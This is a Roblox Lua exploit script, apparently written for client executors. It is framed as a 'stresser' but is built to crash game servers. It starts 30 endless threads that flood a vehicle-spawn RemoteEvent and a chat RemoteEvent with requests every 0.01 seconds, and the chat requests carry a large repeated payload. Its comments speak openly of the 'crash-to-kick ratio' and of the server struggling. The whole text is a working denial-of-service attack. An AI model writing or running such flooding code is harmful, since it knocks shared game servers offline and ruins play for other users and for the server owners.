local ReplicatedStorage = game:GetService("ReplicatedStorage") local SpawnRemote = ReplicatedStorage:WaitForChild("SpawnVehicleEvent") local CalloutRemote = ReplicatedStorage:WaitForChild("ChatCalloutEvent") -- Fleet focused on high-asset complexity local Fleet = { "Storm Warrior", "TEA 1", "Hurricane Fighter", "Storm Reaver (2)", "Storm Reaver", "Dominator Fore", "TIV 1", "UTAV", "Armadillo", "Titus", "Tornado Wrangler" } -- Payload designed to maximize broadcast overhead local heavyString = string.rep("🔥LAG_TEST🔥", 50) print("🧨 Deploying Solara/Volt Optimized Stresser...") -- We keep the 30 threads you like but optimize the inner firing mechanism for i = 1, 30 do task.spawn(function() -- Localizing the FireServer method for a tiny bit of extra speed local spawnFire = SpawnRemote.FireServer local calloutFire = CalloutRemote.FireServer while true do for _, car in ipairs(Fleet) do -- Physics & Asset Load Stress -- We use pcall to ensure one failed request doesn't stop the thread pcall(spawnFire, SpawnRemote, car) -- Network & Broadcast Stress -- Floods the server buffer with the car name + heavy string pcall(calloutFire, CalloutRemote, car .. heavyString) -- The "Solara Sweet Spot": 0.01 provides the best crash-to-kick ratio task.wait(0.01) end end end) end -- Optimization: This keeps your FPS stable while the server struggles settings().Physics.PhysicsEnvironmentalThrottle = Enum.EnviromentalPhysicsThrottle.Disabled